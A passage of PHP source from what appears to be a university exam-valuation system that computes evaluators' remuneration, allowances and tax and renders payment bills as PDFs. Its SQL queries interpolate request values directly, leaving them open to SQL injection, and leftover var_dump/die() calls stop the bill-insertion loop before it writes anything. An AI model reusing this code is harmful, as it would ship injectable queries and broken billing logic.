= $res2['FMINAMOUNT']; } $total = ($totrem) + ($result1['fdaallow']) - ($res2['ftax']); $i = 1; $table1 = '<style> td { border: 0.5px solid black; } .lable { font-weight: bold; } </style> <table cellpadding="3" cellspacing="0"> <tr nobr="true"> <td width="35" style="text-align: center;"><b>Sl.No.</b></td> <td width="170" style="text-align: center;"><b>Particulars</b></td> <td width="50" style="text-align: center;"><b>Amount</b></td> <td width="290" style="text-align: center;"><b>Remarks</b></td> </tr>'; $strrem = "Remuneration"; if($this->aobj_context->FUNIVCODE == '040') $strrem = "Paper Valuation"; $revier = '<br>Scripts Reviewed: '.$res2['rvaluated'].', ('.$res2['rvaluated'].'x'.$res2['FREMUNERATION1'].')'; if($this->aobj_context->FUNIVCODE == '040') $revier = ""; $totamtinwords = getNumber($total); if($res2['80m'] >0) $res2['FREMUNERATION1'] = $res2['FREMUNERATION1']; else $res2['FREMUNERATION1'] = $res2['FREMUNERATION2']; $table1 .='<tr nobr="true"> <td width="35" style="text-align: center;">'.$i.'</td> <td width="170">'.$strrem.'</td> <td width="50" style="text-align: right;">'.moneyFormatIndia($totrem).'</td> <td width="290" >Scripts Valuated: '.$res2['valuated'].', ('.$res2['valuated'].'x'. $res2['FREMUNERATION1'] .')'.$revier.'</td> </tr>'; if($result1['fdaallow'] == '0'){ }else{ $table1 .='<tr nobr="true"> <td width="35" style="text-align: center;">'.(++$i).'</td> <td width="170">Dearness Allowance</td> <td width="50" style="text-align: right;">'.moneyFormatIndia($result1['fdaallow']).'</td> <td width="290" >No. of Days : '.$result1['daycnt'].', Add. Days : 0 ('.$result1['FDAAMT'].' X '.$result1['daycnt'].')</td> </tr>'; } if($this->aobj_context->FUNIVCODE != '033' && $this->aobj_context->FUNIVCODE != '040') { $table1 .='<tr nobr="true"> <td width="35" style="text-align: center;">'.(++$i).'</td> <td width="170">Tax</td> <td width="50" style="text-align: right;">-'.moneyFormatIndia($res2['ftax']).'</td> <td width="290" >Tax (on Remuneration) </td> </tr>'; } $table1 .='<tr nobr="true"> <td width="205" rowspan="2" style="text-align: center;">Total</td> <td width="50" style="text-align: right;">'.moneyFormatIndia($total).'</td> <td width="290" >'.$totamtinwords.'</td> </tr>'; $table1 .= '</table>'; $pdf->SetX(11); $pdf->writeHTML($table1, false, true, false, false, 'L'); if($this->aobj_context->FUNIVCODE == '033') { $totamtwrds = $total; $totamtinwords = getNumber($totamtwrds); // var_dump($totamtinwords); $pdf->ln(2); $pdf->SetFont('Times','',11); $pdf->Cell(30, 5,'Amount in Words: ',0, 0, 'L'); $pdf->SetFont('Times','BU',11); $pdf->Cell(0, 5,trim($totamtinwords),0, 1, 'L'); $pdf->ln(2); $pdf->SetFont('Times','',10); $str = "Certified that : I) Particulars provided herewith are correct & I have not claimed TA/DA/CA for this journey/purpose from any other source. II) I was not provided lodging and / or Boarding at the cost of Govt. College (Autonomous), Kalaburagi. III) I have travelled by shortest route. The above Meeting / Journey claim is verified to be true & correct Signature of the Claimant Sign & Name of the Chairman / Custodian"; $pdf->SetFont('Times','',12); $pdf->MultiCell(186,4,$str,1,'L'); $pdf->ln(6); $pdf->SetFont('Times','B',13); $pdf->Cell(200, 5,'FOR USE BY ACCOUNTS OFFICE ONLY',0, 1, 'C'); $pdf->ln(2); $pdf->SetFont('Times','',10); $str = " Head of Account.....................................Passed for Ra.....................Vide Vr. No...............Dated.............. (In words.....................................................................................................................................................) Section Clerk Principal"; $pdf->SetFont('Times','',12); $pdf->MultiCell(186,4,$str,1,'L'); }else { $pdf->Ln(3); $pdf->SetFont('Times', '', 9); $pdf->Cell(0, 5, '1. Certified that this amount is not claimed in any of the previous bills.', '0', 1, 'L'); $pdf->Cell(0, 5, '2. Certified that the order copy and attendance certificate is enclosed.', '0', 1, 'L'); $pdf->Cell(0, 5, '3. I do hereby declare that the information mentioned above is correct & true.', '0', 1, 'L'); // $html = " 1. Certified that this amount is not claimed in any of the previous bills.<br> // 2. Certified that the order copy and attendance certificate is enclosed.<br> // 3. I do hereby declare that the information mentioned above is correct & true."; // $x = $pdf->GetX(); // $y = $pdf->GetY(); // $pdf->writeHTMLCell(180,0,$x,$y,$html, false,1, false, true, '', false); $x = $pdf->GetX(); $y = $pdf->GetY(); $pdf->Rect($x-5,$y+13,192,40,'D'); $pdf->Ln(5); $pdf->SetFont('Times','B',11); $pdf->Cell(50,7,'Sign. of the Valuator',0,0,'L'); $pdf->Cell(80,7,'Sign. of the Chairman',0,0,'C'); // $pdf->Ln(12); // $pdf->SetFont(' $pdf->Cell(60,7,'Sign. of the Chief Custodian',0,1,'R'); $pdf->ln(5); $pdf->SetFont('Times', 'BU', 15); $pdf->Cell(0, 5, 'For Examination Section Use Only', 0, 1, 'C'); $pdf->ln(5); $pdf->SetFont('Times', '', 11); $pdf->Cell(0, 5, 'Payment of Rs.___________ (In Words)___________________________ is approved on ________________.', '0', 1, 'L'); // $html = "Payment of Rs.______________________ (In Words)________________ is approved on ________________.</p>"; $x = $pdf->GetX(); $y = $pdf->GetY(); // $pdf->writeHTMLCell(180,0,$x,$y,$html, false,1, false, true, '', false); $pdf->Ln(5); $pdf->SetFont('Times','B',11); $pdf->Cell(180,5,'Asst. Reg. / Dy. Reg. / Registrar (Evaluation)',0,1,'R'); $x = $pdf->GetX(); $y = $pdf->GetY(); $pdf->Rect( $x-5,$y+10,192,35,'D'); $pdf->ln(10); $pdf->SetFont('Times', 'BU', 15); $pdf->Cell(0, 5, 'For Finance Section Use Only', '0', 1, 'C'); $pdf->ln(5); $pdf->SetFont('Times', '', 11); $pdf->Cell(0, 7, 'Payment of Rs.___________(In Words)______________________________ is passed on ________________.', '0', 1, 'L'); // $html = "Payment of Rs.______________________(In Words)___________________ is passed on ________________.</p>"; $x = $pdf->GetX(); $y = $pdf->GetY(); // $pdf->writeHTMLCell(180,0,$x,$y,$html, false,1, false, true, '', false); $pdf->Ln(5); $pdf->SetFont('Times','B',11); $pdf->Cell(180,7,'Asst. Reg. / Dy. Reg. / Finance Officer',0,1,'R'); $x = $pdf->GetX(); $y = $pdf->GetY(); $pdf->Ln(2); $pdf->SetFont('Times','BU',12); $pdf->Cell(180,9,'Note:',0,1,'L'); $pdf->SetFont('Times','',9); if($this->aobj_context->FUNIVCODE == '040') { $html = "<br> 01. The amount paid as per this bill is subjected to the final decision of the finance section.<br> 02. PAN number is must for receiving remuneration. The tax amount deducted should be submitted to the Income <br> Tax office before the due date.<br> 03. 30% remuneration amount may be deducted from the total amount if the Valuator fails to submit the PAN number and only TA and <br> DA may be paid.<br> 04. The amount will be recovered, If audit objections are raised."; }else { $html = "<br>01. The amount paid as per this bill is subjected to the final decision of the finance section.<br> 02. PAN number is must for receiving remuneration. The tax amount deducted should be submitted to the Income Tax office before the due date.<br> 03. 20% remuneration amount may be deducted from the total amount if the Valuator fails to submit the PAN number and only TA and DA may be paid.<br> 04. The amount will be recovered, If audit objections are raised."; } $x = $pdf->GetX(); $y = $pdf->GetY(); $pdf->writeHTMLCell(180,0,$x,$y,$html, false,1, false, true, '', false); } } public function SendOutput() { // ob_end_clean(); $this->pdf->Output("VALUATION_BILL.pdf", "I"); } } function moneyFormatIndia($num) { $explrestunits = ""; if (strlen($num) > 3) { $lastthree = substr($num, strlen($num) - 3, strlen($num)); $restunits = substr($num, 0, strlen($num) - 3); // extracts the last three digits $restunits = (strlen($restunits) % 2 == 1) ? "0" . $restunits : $restunits; // explodes the remaining digits in 2's formats, adds a zero in the beginning to maintain the 2's grouping. $expunit = str_split($restunits, 2); for ($i = 0; $i < sizeof($expunit); $i++) { // creates each of the 2's group and adds a comma to the end if ($i == 0) { $explrestunits .= (int) $expunit[$i] . ","; // if is first value , convert into integer } else { $explrestunits .= $expunit[$i] . ","; } } $thecash = $explrestunits . $lastthree; } else { $thecash = $num; } return $thecash; // writes the final format where $currency is the currency symbol. } function generatebill_new($aobj_context) { $univcode = $aobj_context->mobj_data["univcode"]; $fdegreegrp = $aobj_context->mobj_data["fdegreegrp"]; $fboard = $aobj_context->mobj_data["fboard"]; $fvalno = $aobj_context->mobj_data["fvalno"]; $teachrngfrm = $aobj_context->mobj_data["teachrngfrm"]; $teachrngto = $aobj_context->mobj_data["teachrngto"]; $type = $aobj_context->mobj_data["type"]; $fteachcode = $aobj_context->mobj_data["fteachcode"]; $year = $aobj_context->mobj_data["year"]; $examtype = $aobj_context->mobj_data["examtype"]; // var_dump($univcode); // die(); if($fteachcode == '90001') $fteachcode = '16902'; if($type == 'T'){ $query_teach = "select distinct ifnull(t.fteachcode,'') as fteachcode, ts.fyear,ts.fexamtype, dg.FEXAMDATE from tdvs_masteach t inner join tdvs_tabsum ts on t.fteachcode = ts.fteachcode inner join tdvs_masqp m on m.fqpcode = ts.fqpcode inner join tdvs_deggrp dg on m.fdeggrp = dg.fdeggrp where t.fteachcode = '{$fteachcode}' and ifnull(t.fbill,'F') = 'T' union select distinct ifnull(t.fteachcode,'') as fteachcode, ts.fyear,ts.fexamtype, dg.FEXAMDATE from tdvs_masteach t inner join tdvs_tabsum ts on t.fteachcode = ts.frevcode inner join tdvs_masqp m on m.fqpcode = ts.fqpcode inner join tdvs_deggrp dg on m.fdeggrp = dg.fdeggrp where ts.frevcode = '{$fteachcode}' and ifnull(t.fbill,'F') = 'T' and ifnull(ts.fbillno,'') = '' "; // var_dump($query_teach); // die(); }else{ $query_teach = "select distinct ifnull(t.fteachcode,'') as fteachcode, dg.FEXAMDATE from tdvs_masteach t inner join tdvs_tabsum ts on t.fteachcode = ts.fteachcode inner join tdvs_masqp m on m.fqpcode = ts.fqpcode inner join tdvs_deggrp dg on m.fdeggrp = dg.fdeggrp where t.fteachcode between '{$teachrngfrm}' and '{$teachrngto}' and m.fdeggrp = '{$fdegreegrp}' and m.fboard = '{$fboard}' and ts.fyear='{$year}' and ts.fexamtype='{$examtype}' and ifnull(ts.fbillno,'') = '' and ifnull(t.fbill,'F') = 'T'"; // var_dump($query_teach); // die(); } $res_teach = $aobj_context->pobj_db->GetAll($query_teach); $class_obj = new ReprtObject(); $class_obj->univcode = $univcode; $class_obj->DefaultConstructor($aobj_context); if($res_teach) { }else { $class_obj->Report("INTERNAL","INTERNAL","INTERNAL","INTERNAL","INTERNAL"); } foreach($res_teach as $key => $value){ $teachrngfrm = $value['fteachcode']; $FEXAMDATE = $value['FEXAMDATE']; if($type == 'T') { $year = $value['fyear']; $examtype = $value['fexamtype']; } $query = "select distinct d.fdeggrp,now() as fbilldate,ts.fteachcode,ts.fyear,ts.fexamtype, d.fexamdate from tdvs_tabsum ts inner join tdvs_masqp m on ts.fqpcode = m.fqpcode inner join tdvs_deggrp d on d.fdeggrp = m.fdeggrp where ts.fteachcode = '{$teachrngfrm}' and ts.fyear = '{$year}' and ts.fexamtype = '{$examtype}'"; $ressumbill = $aobj_context->pobj_db->GetRow($query); $fdeggrp = $ressumbill['fdeggrp']; $fbilldate = $ressumbill['fbilldate']; $fteachcode = $ressumbill['fteachcode']; $fyear = $ressumbill['fyear']; $fexamtype = $ressumbill['fexamtype']; $fexamdate = $ressumbill['fexamdate']; // $qry = "INSERT IGNORE INTO tdvs_tadabill (fdeggrp,fbilldate,fteachcode,fyear,fexamtype,fexamdate) // values('{$fdeggrp}',now(),'{$fteachcode}','{$fyear}','{$fexamtype}','{$fexamdate}')"; // $result = $aobj_context->pobj_db->Execute($qry); // $qrybill = "select ifnull(d.fyear,'') as fyear,ifnull(d.fexamtype,'') as fexamtype, // ifnull(d.fexamdate,'') as fexamdate , b.fbillno, date_format(fbilldate,'%d/%m/%Y') as fbilldate // from tdvs_tabsum ts inner join tdvs_masqp m on ts.fqpcode = m.fqpcode // inner join tdvs_deggrp d on d.fdeggrp = m.fdeggrp // inner join tdvs_tadabill b on ts.fteachcode = b.fteachcode and ts.fyear = b.fyear // and ts.fexamtype = b.fexamtype // where b.fteachcode = '{$teachrngfrm}' and ts.fyear = '{$year}' // and ts.fexamtype = '{$examtype}'"; // $resbill = $aobj_context->pobj_db->GetRow($qrybill); $boardcnd = "and m.fboard = '{$fboard}'"; $boardcnd1 = "and mq.fboard = '{$fboard}'"; if($fboard ==NULL) { $boardcnd = ""; $boardcnd1 = ""; } $query1 = "select d.FDAAMT, count(distinct date_format(fdate,'%Y-%m-%d')) as daycnt,(count(distinct date_format(fdate,'%Y-%m-%d'))*d.FDAAMT) as fdaallow from tdvs_tabsum s inner join tdvs_masqp m on s.fqpcode = m.fqpcode inner join tdvs_deggrp d on m.fdeggrp = d.fdeggrp where ifnull(fstatus,'') = 'final' and ifnull(s.fbillno,'') = '' {$boardcnd} and fteachcode = '{$teachrngfrm}'"; $result1 = $aobj_context->pobj_db->GetRow($query1); $query2 = "select sum(a.valuated) as valuated,ifnull(c.rvaluated,0) as rvaluated, ifnull(c.rfremunration,0) as rfremunration, ifnull(c.r40m,0) as r40m, ifnull(c.r80m,0) as r80m, sum(a.fremunration) as fremunration,sum(a.40) as 40m, sum(a.80) as 80m, a.FMINAMOUNT, round(((sum(a.fremunration)+ifnull(c.rfremunration,0))*a.ftax)) as ftax,a.FREMUNERATION1,a.FREMUNERATION2 from (select d.fdeggrp,d.FREMUNERATION1,d.FREMUNERATION2,d.FMINAMOUNT, d.ftax as ftax, count(distinct s.fregcode,s.fvalno) as valuated, (count(distinct s.fregcode,s.fvalno)* if(ifnull(m.fhours,'3') = '3',d.FREMUNERATION1,d.FREMUNERATION2)) as fremunration, sum(if(ifnull(m.fhours,'3') = '3',1,0)) as '80', sum(if(ifnull(m.fhours,'3') < '3',1,0)) as '40' from tdvs_tabsum s inner join tdvs_masqp m on s.fqpcode = m.fqpcode inner join tdvs_deggrp d on m.fdeggrp = d.fdeggrp where ifnull(fstatus,'') = 'final' and fteachcode = '{$teachrngfrm}' and ifnull(s.fbillno,'') = '' and s.fyear = '{$year}' and s.fexamtype = '{$examtype}' {$boardcnd} group by m.fqpcode order by m.fhours) a, (select sum(b.rvaluated) as rvaluated,sum(b.fremunration) as rfremunration, sum(b.40) as r40m, sum(b.80) as r80m from (select d.fdeggrp,d.FREMUNERATION1,d.FREMUNERATION2, d.ftax as ftax, count(distinct s.fregcode) as rvaluated, (count(distinct s.fregcode)* if(ifnull(m.fsmaxmarks,'80') = '40',d.FREMUNERATION2,d.FREMUNERATION1)) as fremunration, sum(if(ifnull(m.fsmaxmarks,'') = '40',1,0)) as '40', sum(if(ifnull(m.fsmaxmarks,'') = '40',0,1)) as '80' from tdvs_tabsum s inner join tdvs_masqp m on s.fqpcode = m.fqpcode inner join tdvs_deggrp d on m.fdeggrp = d.fdeggrp where ifnull(frevstatus,'') = 'final' and frevcode = '{$teachrngfrm}' and s.fyear = '{$year}' and s.fexamtype = '{$examtype}' group by m.fqpcode)b) c"; // var_dump($query2); // die(); $res2 = $aobj_context->pobj_db->GetRow($query2); $query3 = "select concat(m.fteachcode,' - ',ifnull(fteachname,'')) as fteachname,ifnull(fscale,'') as fscale, CONCAT(ifnull(faddress1,''),' ',ifnull(faddress2,''),' ',ifnull(faddress3,''),' ',ifnull(faddress4,'')) as faddress, ifnull(faadharno,'') as faadharno, ifnull(fpanno,'') as fpanno,ifnull(faccno,'') as faccno,ifnull(fifsccode,'') as fifsccode,ifnull(femail,'') as femail, ifnull(fmobile,'') as fmobile,ifnull(mq.fboard,'') as fboard, ifnull(m.FDEPTCODE,'') as FDEPTCODE, ifnull(m.FCOLLEGE,'') as FCOLLEGE, ifnull(fbankname,'') as fbankname,ifnull(FEXAMINER,'') as FEXAMINER, group_concat(distinct date_format(s.FENDATE,'%d/%m/%Y') order by s.FENDATE SEPARATOR ', ') as fvaldates from tdvs_masteach m inner join tdvs_tabsum s on m.fteachcode = s.fteachcode join tdvs_masqp mq on s.fqpcode = mq.fqpcode where m.fteachcode = '{$teachrngfrm}' and ifnull(s.fbillno,'') = '' and s.fyear = '{$year}' and s.fexamtype = '{$examtype}' {$boardcnd1} group by m.fteachcode"; $res3 = $aobj_context->pobj_db->GetRow($query3); $fvaldates = $res3['fvaldates']; $totrem = $res2['fremunration'] + $res2['rfremunration']; if($totrem <$res2['FMINAMOUNT']) $totrem = $res2['FMINAMOUNT']; $total = ($totrem) + ($result1['fdaallow']) - ($res2['ftax']); if($res2['80m'] >0) $res2['FREMUNERATION1'] = $res2['FREMUNERATION1']; else $res2['FREMUNERATION1'] = $res2['FREMUNERATION2']; $cnd10 = ""; var_dump($res2['40m']); if($res2['40m'] > 0) $cnd10 = " (".$res2['40m'].'x'.$res2['FREMUNERATION2'].")"; var_dump($cnd10); die(); $remarks = 'Scripts Valuated: '.$res2['valuated'].', ('.$res2['80m'].'x'.$res2['FREMUNERATION1'].')'.$cnd10; $query = "insert into tdvs_payhead(FYEAR,FEXAMTYPE,FEXAMDATE,FBOARD,FDEGGRP,FBILLDATE,FTEACHCODE,FDAYS, FTOTAL,FCREATDATE) values('{$year}','{$examtype}','{$FEXAMDATE}','{$fboard}','{$fdegreegrp}',now(),'{$teachrngfrm}','{$fvaldates}','{$total}',now())"; $result = $aobj_context->pobj_db->Execute($query); $billno = $aobj_context->pobj_db->insert_id(); $qry = "INSERT IGNORE INTO tdvs_paydetl (FBILLNO,FTEACHCODE,FHEADCODE,FAMOUNT,FREMARKS,FCREATEDATE) values('{$billno}','{$fteachcode}','Paper Valuation','{$total}','{$remarks}',NOW())"; $result = $aobj_context->pobj_db->Execute($qry); $update = "update tdvs_tabsum ts, tdvs_masqp m set ts.fbillno = '{$billno}' where ts.fqpcode = m.fqpcode and ts.fteachcode = '$fteachcode' and ts.fyear = '{$year}' and ts.fexamtype = '{$examtype}' and ifnull(ts.fstatus,'') ='FINAL' and ifnull(ts.fbillno,'') = '' and m.fdeggrp = '{$fdegreegrp}' and m.fboard = '{$fboard}'"; $result = $aobj_context->pobj_db->Execute($update); //$class_obj->Report($res3,$result1,$res2,$admfee,$resbill); } $class_obj->SendOutput(); }
Close